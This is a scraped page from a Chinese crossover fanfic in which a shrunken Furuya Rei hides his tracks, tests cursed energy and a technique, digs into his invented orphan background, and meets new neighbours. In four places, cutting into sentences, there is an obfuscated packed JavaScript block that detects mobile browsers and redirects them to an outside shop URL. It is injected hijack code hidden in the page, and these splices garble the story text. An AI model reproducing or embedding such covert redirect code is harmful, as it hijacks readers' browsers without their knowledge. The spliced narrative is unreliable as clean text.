;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048661|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,又透过门缝观察了好一会儿,确认外面和进来前一样后,他快速出来,一路将留下的痕迹复原后,换了个方向绕路离开。 因为不知道咒术能追踪到哪种程度,降谷零特意在外面多绕了很久的路,直到把踪迹连成的线绕成缠在一起的毛线团后,他才回到老城区的一户建房子里。 走进卧室,降谷零打开衣柜。 这边也有他留下的几套衣服,和之前第二个公寓里的一样,都是特别宽松的外衣外裤,方便他快速套在原本的衣服上,还能模糊身形。 降谷零扫了一眼衣服,把它们全部打包,然后开始全屋大扫除,力争把所有痕迹清扫干净。 其中最需要关注的是可能留下生物样本的东西,比如头发、指纹或者体.液之类的,不过降谷零从不在这边久留,每次来还都包裹得严严实实,基本不存在这方面的问题。 降谷零将屋内自己的痕迹清空离开,在骑远后又清理了车轮上残留的泥土和草木痕迹,然后换了个方向骑车继续绕路,留下第二个路线毛线团。 中途他还不忘换衣服,并将剩余的衣服和假发在不同的地方烧了扔掉,又在路上连续换了三辆自行车,这才回先前的公寓。 接着,降谷零在这个公寓重复了一遍之前的操作,然后继续背着打包的衣服出门绕路,团第三个毛线团。 直到黑蓝的夜空渐渐褪色变浅,降谷零才打着哈欠回到最初的公寓。 他检查了一遍屋子,又胡乱塞了些东西充饥,然后一头栽进被窝。 失去意识前,降谷零脑中只余一句话:小孩子的身体真的太不方便了,居然连夜都熬不住。 …… 太阳渐渐升起,厚重窗帘遮掩下的房间渐渐有了一丝光亮,不刺眼,却有些扰人,团在床上的被子卷动了动,往墙角窝去。 又一段时间后,落在房间的日光越来越多,安静的房间响起一阵窸窸窣窣的动静。只见床上的毛毛虫左扭右扭,挣扎着伸出一只胳膊,将盖过头顶的被子拉下来,露出一个炸毛的小圆脑袋。 “唔……” 眼前骤然亮起,降谷零眯了眯眼睛,一边快速眨眼,加速眼睛适应光线的速度,一边开始掀被子,想要起床。 结果扯了半天,把自己都扯脱力了,他都没能突破被子的封印。 降谷零:……? 他抬起手握了握拳,才发现手有点软,胳膊也很酸。 不,仔细感受一下,他好像全身的肌肉都很难受。 降谷零盯着天花板发呆,试着调动回忆,研究到底是怎么回事。 凝滞的大脑重新开机运转,降谷零这才慢慢摆脱了睡醒时那种不知年月的恍惚感,后知后觉地想起自己在哪里,昨天又干了什么。 降谷零:。 他从未如此清晰地认识到自己的身体素质被一键清零了,不然怎么会那么点运动量就变成这样? 降谷零两手交替揉捏胳膊的肌肉,觉得舒服点了,又背手去摸不知道被卷到哪里的被子的边缘,但摸了半天没摸到,最后还是蛄蛹着坐起来才拉开。 终于成功起床,降谷零活动了几下睡酥的四肢,看了一眼时间,发现午饭时间已经过了。 他有些诧异:“居然……没想到……”这是这么多年来,他第一次睡过头吧? 12. 第 12 章 尚未说出口的呢喃消散在空气中,降谷零不甚自然地扒拉几下头发,收敛心思,下床去洗漱。 昨天没去买东西,今天也没来得及去超市,降谷零只能继续从冰箱冷冻层里挑个速食出来,简单地将就一顿饭。 然后他坐到卧室的电脑前,查看监控记录。 监控是降谷零特意装在另外两栋房子里的,方便随时查看房子的情况。 原本每个房间都有一个,但降谷零害怕被风使用来反向追踪自己,所以他昨天晚上就把所有的监控设备拆掉了,除了几个特意移到到外面的,剩下的都带回来了。 留下的都离房子不远,全部对准了能进出的门窗,目前能看的画面一共有七个。 降谷零用最高倍速看完,没发现房子有被入侵的痕迹,周围也没有可疑人员徘徊,应该是无事发生。 将昨天的情况重新在心里过了一遍,降谷零确定自己已经把能做的都做了,如果这样还能精准定位到他,那他认栽。 将安全问题暂时搁置,降谷零翻出一张白纸,回忆着昨天了解到的事情。 咒力、咒灵、咒具、咒术、咒术界势力。 降谷零将几个词语竖着一一列下,然后返回第一行,点了点咒力。 首先能确认的是,他有咒力,虽然不知道具体有多少,但至少能让他平时也能看见咒灵。 这很好,也很不好。 好的地方是,咒术界很排外,如果要针对另一侧世界进行调查,有咒力会很方便,他不会被完全拒绝在外,同时遇见咒灵导致的危险也不会睁眼瞎。 总之,有助于他完成委托。 不好的地方是,他不知道自己为什么会有咒力。 按理来说他的原生世界没有这种非科学的东西,他也不该有。 但事实是,他有。 导致这种结果的只有一种原因,那就是:这是世界意识做的。 那么世界意识是什么时候做的?为什么不告诉他?祂还做了什么他不知道的事情?祂的真实目的真的是那个委托吗?他被拉入这个世界真的是意外吗? 类似的许多的问题盘旋在降谷零的脑中,这种没头没尾、无法掌控的感觉让他很焦躁。 但现在开弓没有回头箭了,他也只能将就着走下去,唯一令他稍感安慰的是那份在他家世界意识见证下的契约的保证。 他家世界意识的认知和这个世界的世界意识有很大出入,唯独在契约上达成一致,这说明这份契约可信度很高。 ——当然,这个前提是他家世界意识对他没有恶意。 如果真的全都是骗局…… 降谷零闭眼,强行将各种翻涌的糟糕念头压下,平复心情。 他本不是这么极端的人,只是昨天突发的意外和自身应对这些意外的能力有限,让他的情绪不太稳定。 “……” 降谷零深呼吸,吐出浊气,再次睁眼时,紫蓝色的眸子重新变得沉静,他看向自己的手心。 咒力……既然他有,那么他就要彻底研究这个能力,直到能自如地使用。 只是,要怎么调用这种东西?风使给的资料都是基础中的基础,完全没有讲实际运用,降谷零猜测这是因为他还不算是“自己人”。 也许填完第二个表后会改变眼下的困局,但降谷零不敢赌,所以他就只能自己研究了。 降谷零回忆着风使的比喻,试着像感受心跳一样去主动感受这种力量。 从未接触过这种非科学的力量,降谷零以为练习的进展会非常不顺,却没想到事实正好相反,他几乎是想做到就能做到。 降谷零:……啧。 所以世界意识果然是动手脚了吧?为什么遮遮掩掩的?有这么见不得人吗? 降谷零一边在心里骂骂咧咧,一边观察着右手。 此时,他看见他的右手上包裹着一层波动的能量,并且冥冥之中有感觉告诉他,他可以随意使用这种能量。 降谷零用左手碰了碰右手,没有摸到任何东西。 可见不可碰,这倒是符合他对非科学能力的刻板印象。 降谷零看了一圈周围,没有找到能用来试验的东西,这里也不是一个好的试验场所。 于是他跳下椅子,走去客厅,从柜子里翻出一包一次性纸杯,拿出一个后轻轻握住,试着调动咒力。 然后,在手没有用力的前提下,纸杯被压瘪了。 降谷零撤去咒力,看着从“一个”变为“一条”的纸杯掉在地上,眼睛里闪烁着光芒。 咒力使用尝试初步成功,接下来是咒力残秽。 咒力残秽,据说是咒力留下的痕迹,可咒力本就无形,怎么会留下痕迹?用抽象概念解释抽象概念的方法未免过于难懂了些。 不过换个角度想,既然是“痕迹”,那么应该可以用五感来感受?比如把水倒掉的纸杯还是会有湿感,能感觉到湿,用的是触觉。 咒力的话……按目前的理解来看,不可摸、不可闻、不可听,不可尝,好像只有视觉能用? 降谷零蹲下,捡起纸杯的尸体盯着看。 一开始无事发生,但渐渐的,随着注意力集中,降谷零看见纸杯上慢慢浮现出浅淡的痕迹。 不,也不能说是痕迹。 所谓的“残秽”不符合常规定义下的“痕迹”,而“看见”残秽也并不完全是用眼睛“看见”。 降谷零很难说清这到底是什么,总之就是“物理层面上看不见,体感层面上又看得见”的玄妙状态。 降谷零:啊……真不愧是非科学侧的东西。 如果是这种情况,他勉强能理解为什么咒术界没有更科学更系统的研究成果了。 降谷零转着手里的纸杯,回忆着资料里有关咒力残秽的部分。 咒力残秽会随着时间推移淡化,如果还用水痕来做类比的话,就是水痕重,干的速度慢,相反则干的快。 那么咒力残秽也有这种特性吗?咒力残秽的深浅又是由什么影响的?是咒力输出的大小吗? 降谷零将纸杯全倒出来,坐在地上开始尝试控制咒力的输出量。 他把自己想象成水龙头,调节着水流的大小。 在报废数个纸杯后,降谷零觉得自己能掌握使用咒力时那种玄而又玄的感觉了。 有了些信心的降谷零又拿出两个新的纸杯,一个试着用最大咒力输出捏扁,另一个用最小咒力输出捏扁,然后他将这两个纸杯尸体放在一起对比。 很明显,咒力量大的残秽重,另一个则轻,所以确实是咒力量影响咒力残 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048662|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秽。 以此来推,按照咒力残秽的轻重程度应该依次是:咒力、咒术、领域。 降谷零抱臂看着一地的纸杯。 关于咒力残秽的基础情况他差不多明白了,但还有两个重要问题没条件弄清楚:咒力残秽会不会就像是指纹和DNA那样因人而异?能否根据残秽追踪到咒力拥有者? 如果这两个问题的答案都是“是”,那非必要就不能轻易动用咒力了,他初入世界,暂时不想和咒术界扯上太多的关系。 除此之外,还有一些零零散散的、影响任务委托的问题,比如咒力残秽是否能被覆盖?覆盖程度又是怎样的?这涉及到在秘密行动中,使用咒力后如何扫尾。 当然,这些问题比起前两个问题暂时都不太紧急,可以先放一放。 总之,在能弄清一切前,降谷零打定主意只在自己家里研究咒力。 说起来,还有一个和咒力相关的东西——术式。 既然世界意识给他开挂了,那么这个挂的强度是什么?他会有术式吗? 术式,全名生得术式,是比咒力更加抽象的一个概念。 不过通过资料的介绍和风使的解释,降谷零大概能理解,换算成更加通俗易懂的就是咒力是MP(蓝条),咒术就是技能,领域展开则是大招。 所以他有技能吗? 降谷零蹙眉,咒力勉强还能感受到,咒术要怎么感受?这时候降谷零倒是希望咒术真的像游戏一样,能一键释放—— 欸? 降谷零倏地睁大眼睛。 就在刚刚,他尝试用咒力激活术式,然后就感觉到了共鸣,冥冥之中也知道了自己术式的名字。 降谷零:。 看得出来这个挂开得很大了,但是—— 但是! 但!是! 术式名叫“三面颜”是要搞什么啊!!! 真是够了,这是在他身上玩梗吧?是吧?非要在这种地方玩吗? 降谷零的脸都扭曲了,这真的不是对他的嘲讽吗?! 有一说一,降谷零是真的很想和自家世界意识还有这里的世界意识对线,前者是透漏情况的源头,后者是造成这一切的推手,都缺德,一点儿都不在意他的死活。 他宣布,他开始讨厌所有世界意识了! 一把抓过刚刚列的表的纸,降谷零重重将咒力和咒力残秽后面打上勾,然后点着下一个咒术的位置,想画下延迟计划的标记,却又迟迟没有动手。 落笔,提笔,落笔,提笔,落笔,提笔…… 反复几次后,降谷零牙疼地放下A4纸。 好吧好吧,一切为了正事。 降谷零叹气,闭眼静心感受术式,研究它的效果。 初步来看,他的术式有三种不同的效果,分别是:强化自愈,强化防御和强化进攻。 哈……三面颜就有三种吗?降谷零不是很想知道这三种能力分别对应着他的哪个身份。 而且值得一提的是,除了术式,降谷零还察觉到他好像还可以领域展开,叫樱花的守护。 其效果是:展开半径为五百米的开放领域,领域展开的瞬间刷新自己50%的状态,在领域持续期间五倍加强领域内友方的攻防。 降谷零:…… 13. 第 13 章 强度不提,单说这个内容。 ——拜托,这到底是在干什么?啊?0至9的数字那么多,偏偏是“五百米”、“50%”和“五倍”,是在搞什么? 还特意提了樱花…… 降谷零很少会骂人,但现在他是真的想说脏话。 唯独他们……只有他们……怎么可以用他们…… 降谷零单手撑在额头,阴影挡住了他的表情,只有鼓起的咬合肌透漏了几分他的心情。 哈。 世界意识。 非常好。 这笔账他记下了。 不论是谁,最好给他一个合理的解释,否则…… 沉着眸子的降谷零嘴角紧绷,他垂眼看了一眼掌心,用力握拳。 此时降谷零的周围遍布散落的纸杯,它们每一个的样子都千奇百怪,全是刚刚研究咒力的结果。 就成果而言,降谷零收获颇丰:短短的时间内,他掌握了控制咒力量的方法,并借此进一步得知了自己的术式和领域,未来不管发生什么,他都能有余力去应对,委托的难度骤降。 但降谷零完全高兴不起来,因为这些每一个都在提醒他,他重要的朋友竟然以这种可笑的方式被作弄了。 而他,居然是受益人。 这个认知让降谷零异常恼火,可他却完全没法找罪魁祸首理论,这让他更憋气了。 降谷零在客厅转了好几圈,数次深呼吸后才勉强压下“骑个火箭把自己发射到天上去和世界意识理论”的妄想。 他用力抹把脸,努力劝说自己。 没关系,来日方长,总有一天他会把账一笔一笔算清的。 又闭上眼平复情绪片刻,降谷零将这些暂压心底,转身去里间的卧室。 他目前暂居的这个房子的格局是标准的两室一厅,降谷零在拿到房子后就将其中一间卧室改成了仓库,用来存放杂物,现在里面只有几个纸箱,正好能用。 降谷零拖出来一个大号纸箱,把椅子抵住沙发后,又用纸箱抵住椅子。 他又看了一眼手心,静心凝神。 咒力是MP(蓝条),咒术是技能,如果同样按照游戏来理解,使用咒术就是用咒力激活技能。 在心里把通俗版的理论过了一遍,降谷零转了转手腕,尝试调动那种玄之又玄的力量,瞄准纸箱迅速出拳。 “砰——” 只听一声巨响,纸箱中间被贯穿出一个大洞,后面的椅子也被打碎一半——这还是他最后收力的结果,不然很难说沙发能不能幸免于难。 降谷零看了看自己毫无损伤的手,又看了看面前严重受损的试验对象,公安的DNA让他皱起眉头。 这强大的力量却为个人掌握,管理稍有不慎就会造成严重的社会危害,将会严重威胁民众安全—— 不对。 按照他到这里后的观察来看,社会各阶层的生活一切正常,新闻报道也没什么异样,比起原生世界的三天一杀五天一爆,这里简直称得上是安宁。 想到这,降谷零忍不住摇摇头,笑自己多心。 咒术界都存在多少年了,他这个外来者能想到的问题,政府和总监会怎么可能想不到?他们一定有一套对应的管理办法和应急机制,他的担心纯粹是属于杞人忧天了……吧? 降谷零又蓦地想起咒术界对原理性问题的研究进度。 ……应该是杞人忧天吧?学术研究弄不好还勉强可以理解,基本的制度框架总不能也弄不好吧? 降谷零乱七八糟地想了许多,总觉得到处都是漏洞。直到他着急地摸出手机,想要联系下属安排些什么的时候,他才反应过来自己现在已经不在原世界了,还缩水成了小学生,就算想出花来也什么都做不了,有零个人会在意他说的东西。 降谷零拍了拍脑袋,默默把手机放了回去。 太不方便了,有能力做却什么都做不了的感觉原来是这样……工藤君当年也不容易啊,回去后带点东西去慰问他一下吧。 降谷零收回思绪,将重点暂时重新放回到术式上。 之前他感觉到自己的术式有三种效果,分别是强化自愈,强化防御和强化进攻,就效果上来讲三个都很实用,只是具体要怎么使用还有待探索。 刚刚的尝试应该是成功用出了术式的,但他总有种囫囵吞枣的感觉,具体细节完全没有来得及感受就结束了,根本没有总结经验教训的价值。 而且就刚刚的实验而言,这样研究术式的成本太大了,真用这种方法研究,等他研究出来了,他也没地方住了。 所以得找个经济实惠的方法,或者换个方法,如果有可能,回头去问问风使好了。 将这件事暂且搁置,降谷零开始打扫卫生,收拾东西的同时顺便进行实验记录。 他首先挑选了两个残秽浓度差不多的纸杯残骸,将其上的残秽浓度做参考标准,记为中等,放置在通风的客厅和不通风的杂物间。 然后,他把箱子和椅子上的残秽浓度记为高等,分别放置在客厅和杂物间。 接着,他又从剩余纸杯残骸中挑了一些残秽没有那么明显的,记为低等,对半分别放置在通风的客厅和不通风的杂物间。 做完这一切,降谷零折身回到茶几旁拿起计划表,把咒术的位置打上特殊的、代表“进行中”的标记。 他扫了一遍剩下的内容,表中内容大致可以分为两类,一类是对自身能力的探索,另一类是对外界势力的探索,前者正有条不紊地进行,后者则短时间内没法实现。 除此之外,还有最关键的存在:咒灵。 不过这个东西不是轻易能研究的。上次只遇见了蝇头是他运气好,但凡是个高点等级的咒灵,他现在已经在排队重领地球online新账号的路上了。 总之,在有自保能力之前,降谷零不会去明知不可为而为地作死。 确认了一遍内容,降谷零又添了一些在刚刚的实验中想起的、其他零零碎碎需要实验的东西,不过优先级都不是很高,暂时都可以放放。 最后,降谷零的笔尖落在“咒具”上,画了一个圈。这是他的下一个目标,如果不出所料,这是他未来很长一段时间的“伙伴”——能当成研究对象的同时,还能用作防身工具。 当然,前提是能买到。 从风使之前的说法,不难推测出咒具入手困难,主要是能不能找到渠道的问题。 要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048663|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风使可信,降谷零还能借他的资源一用,要是风使不可信,降谷君就得在躲避风使的前提下,找其他的方法买。 还有就是,一个有关咒灵的咨询都那么贵,降谷零不敢想象一把能斩杀咒灵的咒具价格能高到什么程度。 尤其是考虑到他现在的身形,就算买,也需要指定小巧一些的、能随身携带的咒具,天知道能不能恰好就买到这种。 “唉……任重而道远啊。”降谷零叹了口气,将计划纸叠好,放到卧室的床板夹缝中。 饭要一口一口吃,路要一步一步走,与其担心这些没影的事情,还是先把今天的复建任务做了吧。 想到这件事降谷零就郁闷,从一个身强体壮的成年人缩水到手无缚鸡之力的小孩子,然后一切从零开始,这事谁遇见谁糟心。 以及,只有变小了后才知道,有一个能造出逆天腰带等装备的科学家后勤,是多么得感天动地,降谷零自从缩水后就无数次感慨工藤新一幸运——虽然他更相信自己,但如果能有阿笠博士这种外挂他也不会拒绝啊! 降谷零一边在心里碎碎念,一边换上方便运动的衣服,准备出门跑步。 …… “咔嗒。” 两声门锁声重合,降谷零转头看向隔壁,扬起笑容,热情地打招呼:“松本婆婆下午好。” 他又俯身摸了摸跑到他脚边蹦跶的小狗:“我没有忘记你,小松饼你也好。” “汪!”蓬松雪白的博美犬冲他叫了一声回应。 头发花白的老奶奶也笑着和降谷零打了个招呼:“下午好啊,小零。你是要去跑步了吗?” 降谷零点头:“是的,我准备去锻炼。” 博美犬在脚边扒拉他的裤腿,降谷零索性将博美抱起来:“婆婆和松饼是散步回来了吗?啊,松饼你别舔我!”降谷零按住小狗的头用力揉了揉。 “是啊。”松本婆婆乐呵呵地看着眼前富有生机活力的一幕,“没事干就和松饼一起出门了。对了,今天中午我家做了炖牛肉,我特意给你留了一碗出来,你等下回来记得拿。” “欸?不了不了。”降谷零急忙摇头,“这也太麻烦婆婆了。” “哪有什么麻烦不麻烦的,你来我和松饼都高兴,还是说你嫌弃我这个老婆子了?”松本婆婆故意板起脸。 “怎么会!”降谷零立刻否认,下巴抵着博美的脑袋,他抬起那双狗狗眼抱怨,“婆婆明明知道我超喜欢你和松饼的,怎么老拿这话吓我?” “那就要问你为什么每次都要拒绝我了。”松本婆婆忍了忍,没忍住摸了摸降谷零的头顶,“就这么说定了,记得来我家拿东西,不然我就要生气了。” “松本婆婆——” “听话。”松本婆婆打断他的话,“你不是喜欢我和松饼吗?那就过来拿东西的同时,顺便多陪陪我们。一定要来,听到没?” 降谷零无奈点头:“……听到了,我会去的,谢谢婆婆。” “不用客气。”松本婆婆从他怀里抱起博美,“既然记住了,那你就去跑步吧。” “好哦,婆婆再见。” 和松本婆婆告别,降谷零一边做准备活动,一边往楼下走。 狗…… 14.第 14 章 哈罗…… 唉,也不知道哈罗怎么样了,有没有人照顾?有没有好好吃饭?有没有因为见不到自己而不安? 他们两个很少会分开这么久,他走得又那么突然,既没来得及叮嘱,也没来得及找寄养,哈罗长时间见不到自己,不会觉得自己出事了吧? 想到家里那只过分聪慧的小狗,降谷零的担心就止不住。 他家世界意识说会帮忙处理原世界的各种事情,祂应该可以做好吧?公安的事情倒是其次,无论说自己是临时休假还是其他什么都行,总归有那么多人待命,不会产生那么大的乱子。 但哈罗就不一样了,他只有自己…… 唉……就算只离开二十天也还是太久了,能不能和世界意识远程连线一下啊,原世界那边现在真的还好吗?他不问问实在是不放心啊…… 但现在原生世界的世界意识早已离开,这边世界的世界意识又陷入休眠,也不知道要什么时候才能醒来,降谷零哪个都联系不到,就什么也做不了。 “啧……果然还是要推进度……”降谷零小声嘀咕。 只要委托完成得够快,他就能更早地回去,到时候一切问题都迎刃而解。 速度要再快一点!降谷零压下担心,在心中给自己加油打气,然后开始按规划好的路线跑步。 …… 卡着体力的极限完成今天的复建,降谷零喘着气在楼下做放松训练。 恰在此时,不远处的路边驶来了两辆车。 一辆是小轿车,在前。 另一辆是大货车,在后,货车箱体上还贴着搬家公司的超大logo。 大概是新搬来的住户,降谷零只扫了一眼就收回视线。 说起来,这栋公寓就是之前世界意识说的给他准备的住处,地段很不错,离学校近,周围还有地铁站和商超,按市价来估,这栋房子不便宜。 降谷零原本以为世界意识会给他安排一个深山老林里的住处——因为众所周知,降谷零是外来人员,在这个世界没有过往,也没有身份信息。 诚然,从非法手段讲,有无数种方法能做到合理化他的存在。 但世界意识能干涉的地方并不多,想要完美地做到这一点并不比直接插手整个世界的命运轻松到哪里去。 所以直接把他塞到山沟沟里正好,毕竟这个时候人口普查还是有疏漏的,正好省了捏造过去的事情。 但没想到世界意识给他给了这么优越的一个落脚点。 那么祂是怎么操作的,才能让他如此自然地“融入”这个世界,没引起任何人的怀疑,还以这样的年纪独自居住? 可惜了,当时有太多关键的问题要问,没顾得上问这些细枝末节的东西,所以降谷零只能自己查,最近、也最方便的方法就是从入学的身份信息入手。 趁着档案管理员不注意,降谷零溜进去看过自己的资料,父母两栏是空白,只有一个寄养人姓名,电话那栏的号码很眼熟,是世界意识给他的手机号,其余信息都是空白。 降谷零:…… 这是什么“我管我自己”的剧情?还有,这种敷衍的资料学校就没有一点儿奇怪吗?尤其是教育经历的部分空荡荡的,真的对吗? 真的对。 因为根据套出的话,他是个孤儿,还是那种被恶意欺.凌的小可怜,之前都被压着没能上学,全靠自学成才,现在能入学都是被拯救出来的原因。 降谷·被孤儿的小可怜·零:…… 彳亍。 看在这个身份确实方便,他捏着鼻子认了。 跳过一言难尽的部分,降谷零将注意力放在了其他有用的线索上。 线索一,寄养人一栏的名字是清水和惠。 这个线索有用,但不多,降谷零只查到自己目前住的房子、使用的信用卡和电话卡——全是世界意识给他的——都是以她的名义购买和开通的,更多的信息暂时没有查到。 线索二,他是被欺.凌和打压的孤儿。 既然是被欺.凌和打压,那就应该有实施这些行为的对象和场所,但降谷零查了查,发现根本找不到信息。 降谷零:? 降谷零原本想继续去学校那边试探,但后来又想了想,从学校的角度讲,已经有寄养家庭的孤儿,学校肯定是更关注寄养家庭,不会再多此一举地了解被寄养前的事情。 不过以防万一,降谷零还是去试了试,结果如他所料,学校并不清楚更早的事情。 于是降谷零就转头去从寄养这一环节查。 总不能准备接收寄养儿童了,还不知道对方的过去吧? 鉴于降谷零现在的小学生外貌,经办这件事的工作人员肯定不会拿他当回事,于是降谷零充分发挥主观能动性,从用变声器打电话到潜入政府档案室,将波本的手段用了个遍,成功拿到想要的信息——就是这个信息不太理想。 一切要从头说起。 资料显示,降谷零曾经待的地方名叫天和儿童福利院,是一家民办福利院,而这家福利院不久前发生了煤气爆炸,引起了大火,现场没有幸存者,资料也付之一炬。 降谷零:。 糟糕,这看起来有种一言难尽的既视感,世界意识应该不会为了清扫他身份背景的漏洞就炸了这里吧? 好在世界意识没有那么组织。 降谷零进一步调查发现这家福利院还有一个报道:其院从上到下,曾常年欺.凌一个孩子,后来是爱心资助人偶然发现,这才揭露这个恶行。 这件事的结果是相关政府部门被问责,福利院被强制整改。 至于孩子的去向,据评论里的相关人员说,是直接被资助人带走了。 顺便一提,福利院因为这次事件,一直背负着社会恶名,哪怕在整改后也没有缓过来,渐渐没落,即将关停。意外事件也是因为院内的工作人员都在谋下路,对工作不上心,疏忽大意导致了惨剧。 降谷零摸了摸下巴,觉得整件事情的逻辑非常合理,只是既然都“无一幸存”了,“他”又是怎么回事?哪怕他是那个被欺.凌和打压、然后被资助人带走的孩子,也应该留下只言片语吧? 按照福利院的制度,除了福利院的内部工作人员,上级主管部门、资助方和相关协作单位都应该有院内孩子的资料存档……还是说,是因为已经被带走了,所以不计算在内? 然而这个矛盾点的原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054948|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因很简单——当时福利院对那个孩子很不好,连档案都没给建,因此其他相关部门也就不知道有这样一个人存在。 按理来说,那个孩子被资助人带走后是要补材料和□□件的,但是资助人以孩子身心状态不好为由,推迟了登记时间,出于人道主义关怀,政府那边同意了。 结果这事一推就推了两个多月,期间原本负责跟办这件事的工作人员调离原岗位,接手的又是一个纯新人,在工作初期闹了不少乱子,然后好巧不巧,那个孩子的登记就是那个时候办的。 于是理所当然的,整个流程就没有那么严谨,许多关键步骤被简化——这是降谷零从材料中看出来的——顺便,寄养流程一样潦草。 降谷零:…… 如果是他手下的人,他高低要喊一句“你们就是这么干工作的吗”! 不过话又说回来,这件事真巧啊……巧到不像那么巧的地步,降谷零严重怀疑这个调任有猫腻。 从目前的线索看,世界意识用现在这种方法将降谷零的存在合理化是在借势而为,即:不论有没有降谷零,这些事情都是已经发生的。 那么抛开降谷零本人不谈,单说关于这个孩子的事情,就处处充满违和感。 比如,为什么那个资助人不立刻登记?资助人既然选择把孩子带回家,那么为什么选择寄养而不是直接领养?还有,为什么资助人在寄养流程里不露面? 问题一大堆,可惜没办法继续往深查。 不过这些都不重要,降谷零主要就是想知道世界意识给自己安排的人设背景,目前已经了解了个七七八八,他勉强满意了。 至于未来会不会突然跳出来一个名叫清水和惠的女性当他家长之类的……这种问题以后在说吧。 “怎么能以后再说!” 一道声音响起,打断了降谷零的思路,他看向声音来处。 花坛旁,一个衣着干练的女性正坐在长椅上,而她旁边站着的气质温和的男性正在给她揉肩膀,两人看上去是情侣或者夫妻,年龄在三十岁左右。 那个男人皱着眉:“你的肩膀都难受了这么久了,反正明天也没什么事情,我陪你去医院挂号。” 那个女人不甚在意地摇头:“就算去医院也看不出什么,我之前又不是没看过。连片子都拍了,还不是什么都没看出来?” 男人依旧坚持自己的观点:“说不定是医院不行,我们现在搬家了,就正好换个医院看。如果这边的医院也不行,我们就去东京之类的地方看,总能查出来你肩膀不舒服的原因。” 女人无奈地点头:“好吧,听你的。” 见女人答应得不情不愿,男人开始絮絮叨叨地说注意健康的重要性,又抱怨女人总是忙着工作,连自己的身体都不在意之类的内容。 前几句女人还会应和几句,但等男人越说越起劲后,女人被说得头大,视线开始乱飘,正好看见降谷零站在不远处,低着头不知道在想些什么。 女人眼睛一亮:“小朋友,怎么一个人站在那边,是有什么需要帮忙的吗?” 降谷零顿了一下,抬头露出礼貌的笑容,目不转睛地看着女人的脸:“啊,谢谢您,我只是在想事情。” 15.第 15 章 “是吗,我还以为你遇见困难了。”女人露出一个友好的笑容,“你是住在这边的吗?我们是今天才搬过来的,我是石田加奈子,这是我丈夫石田拓海。” 石田拓海也温和地笑着打了个招呼:“你好,初次见面。” 降谷零稍稍欠身:“你们好,我是降谷零,初次见面,请多指教。” “哎呀,真懂礼貌。你是叫降谷零啊,真是个好名字,你好你好。”石田加奈子回复了一句,回身用胳膊捣石田拓海,低声问,“拓海,你口袋里还有吃的没?” 石田拓海在她开口前就已经在翻口袋了,也压低声音:“别催别催,我在找了。” “啊,找到了!”石田拓海两三步上前,在降谷零面前的一米处蹲下摊开手掌,“给,这个巧克力很好吃。送给你,你可以试试。” 降谷零看向他的手心,巧克力是心形的包装,牌子是九十年代很有名的明治雪吻*。 石田加奈子凑在他身后:“诶?就只有牛奶口味吗?我记得出门前让你带了很多口味啊?”她蹲下来翻石田拓海的口袋。 石田拓海不得不抬起胳膊给她腾空间,含糊道:“没有其他的口味。” 石田加奈子不信:“怎么可能?我之前在车上还吃了呢。” 石田拓海:…… 有没有一种可能,就是因为都被你吃完了? 石田拓海偏头在她的耳边用气音道:“你忘了?你路上的时候饿了……”然后一直在吃,都没停过。 石田加奈子回忆了一下,数了数自己翻石田拓海的口袋的次数,脸色大变:“我居然吃了那么多?你怎么不劝着我点,我今天的糖分严重超标了!” 石田拓海:…… 倒也不必这么大声。你这样子,那我刚刚特意小声的意义在哪里? 石田拓海沉默一瞬,诚恳地道歉:“对不起,是我的错。” 然后他话音一转:“但重点不是这个吧?” 石田加奈子后知后觉想起来旁边还有一个人,她一拍脑袋,冲降谷零尴尬地笑笑,一把抓起石田拓海手中的巧克力强行塞到降谷零手里:“虽然被我吃的剩得不多了,但还有几个,你尝尝。” 石田拓海对自家妻子的情商深深地绝望了。 拜托,这才是第一次见面,哪怕对方是小孩子也不能这样说话啊,听起来真的很像用剩余物品施舍别人,太失礼了。 他顽强地保持住了笑容,补救道:“加奈子的意思是,这个巧克力好吃到她停不下来,她很希望和你分享。” 